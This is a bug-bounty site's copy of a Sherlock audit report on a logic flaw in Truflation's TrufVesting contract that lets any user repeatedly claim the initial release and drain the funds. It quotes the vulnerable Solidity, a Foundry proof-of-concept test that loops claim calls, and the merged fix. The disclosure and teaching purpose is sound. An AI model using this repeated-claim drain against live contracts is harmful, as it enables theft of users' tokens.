Skip to content
Business logic Audit finding Intermediate

Users can fully drain the `TrufVesting` contract

The claimable function returns the initial release amount repeatedly during the period between the initial release and the cliff, without subtracting what the user has already claimed. An attacker could call claim multiple times to receive the initial release each time, eventually draining the contract's funds.

0xLogos Follow with CL001, HonorLt and 13 others

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2023-12-truflation-judging/issues/1

Found by

0xLogos, CL001, HonorLt, IvanFitro, KupiaSec, asauditor, bughuntoor, carrotsmuggler, cawfree, fnanni, mstpr-brainbot, s1ce, ubl4nk, unforgiven, ydlee, zzykxx

Summary

Due to flaw in the logic in claimable any arbitrary user can drain all the funds within the contract.

Vulnerability Detail

A user's claimable is calculated in the following way:

  1. Up until start time it is 0.
  2. Between start time and cliff time it's equal to initialRelease.
  3. After cliff time, it linearly increases until the full period ends.

However, if we look at the code, when we are at stage 2., it always returns initialRelease, even if we've already claimed it. This would allow for any arbitrary user to call claim as many times as they wish and every time they'd receive initialRelease. Given enough iterations, any user can drain the contract.

Solidity
    function claimable(uint256 categoryId, uint256 vestingId, address user)
        public
        view
        returns (uint256 claimableAmount)
    {
        UserVesting memory userVesting = userVestings[categoryId][vestingId][user];

        VestingInfo memory info = vestingInfos[categoryId][vestingId];

        uint64 startTime = userVesting.startTime + info.initialReleasePeriod;

        if (startTime > block.timestamp) {
            return 0;
        }

        uint256 totalAmount = userVesting.amount;

        uint256 initialRelease = (totalAmount * info.initialReleasePct) / DENOMINATOR;

        startTime += info.cliff;

        if (startTime > block.timestamp) {
            return initialRelease;
        }
Solidity
    function claim(address user, uint256 categoryId, uint256 vestingId, uint256 claimAmount) public {
        if (user != msg.sender && (!categories[categoryId].adminClaimable || msg.sender != owner())) {
            revert Forbidden(msg.sender);
        }

        uint256 claimableAmount = claimable(categoryId, vestingId, user);
        if (claimAmount == type(uint256).max) {
            claimAmount = claimableAmount;
        } else if (claimAmount > claimableAmount) {
            revert ClaimAmountExceed();
        }
        if (claimAmount == 0) {
            revert ZeroAmount();
        }

        categories[categoryId].totalClaimed += claimAmount;
        userVestings[categoryId][vestingId][user].claimed += claimAmount;
        trufToken.safeTransfer(user, claimAmount);

        emit Claimed(categoryId, vestingId, user, claimAmount);
    }

Impact

Any user can drain the contract

Code Snippet

https://github.com/sherlock-audit/2023-12-truflation/blob/main/truflation-contracts/src/token/TrufVesting.sol#L176C1-L182C10

Tool used

Manual Review

Recommendation

change the if check to the following

Solidity
        if (startTime > block.timestamp) {
            if (initialRelease > userVesting.claimed) {
            return initialRelease - userVesting.claimed;
            }
            else { return 0; } 
        }

PoC

Solidity
    function test_cliffVestingDrain() public { 
        _setupVestingPlan();
        uint256 categoryId = 2;
        uint256 vestingId = 0;
        uint256 stakeAmount = 10e18;
        uint256 duration = 30 days;

        vm.startPrank(owner);
        
        vesting.setUserVesting(categoryId, vestingId, alice, 0, stakeAmount);

        vm.warp(block.timestamp + 11 days);     // warping 11 days, because initial release period is 10 days
                                                // and cliff is at 20 days. We need to be in the middle 
        vm.startPrank(alice);
        assertEq(trufToken.balanceOf(alice), 0);
        vesting.claim(alice, categoryId, vestingId, type(uint256).max);
        
        uint256 balance = trufToken.balanceOf(alice);
        assertEq(balance, stakeAmount * 5 / 100);  // Alice should be able to have claimed just 5% of the vesting 

        for (uint i; i < 39; i++ ){ 
            vesting.claim(alice, categoryId, vestingId, type(uint256).max);
        }
        uint256 newBalance = trufToken.balanceOf(alice);   // Alice has claimed 2x the amount she was supposed to be vested. 
        assertEq(newBalance, stakeAmount * 2);             // In fact she can keep on doing this to drain the whole contract
    }

Discussion

sherlock-admin2

1 comment(s) were left on this issue during the judging contest.

Shaheen commented:

Valid High. Solid Catch

ryuheimat

https://github.com/truflation/truflation-contracts/pull/3

Fixed claimable function

mstpr

Fix LGTM

ryuheimat

Merged

The original report as published on Sherlock, by 0xLogos. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The claimable function returns the initial release amount without deducting the amount already claimed by the user.

Impact

Any user could drain all the funds within the contract.

What the attacker needed

A vesting plan with initial release and cliff; a user with a vesting entry; time between initial release and cliff

The fix

The claimable function was fixed to subtract the amount already claimed from the initial release.

How it was found

  1. Set up a vesting plan with a category and vesting ID.
  2. Assign a user vesting with a stake amount.
  3. Advance time to be between the initial release period and the cliff.
  4. Call claim with the maximum amount to receive the initial release.
  5. Repeatedly call claim again to receive the initial release each time.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A vesting contract gradually releases tokens to users over time. The function that calculates how many tokens a user can claim had a mistake: during a certain period, it always said the user could claim the same initial amount, even if they had already claimed it. So a user could keep claiming that amount over and over, taking more tokens than they were owed and emptying the contract.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by 0xLogos

View all

8 more disclosed reports, best first.

More from Truflation

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.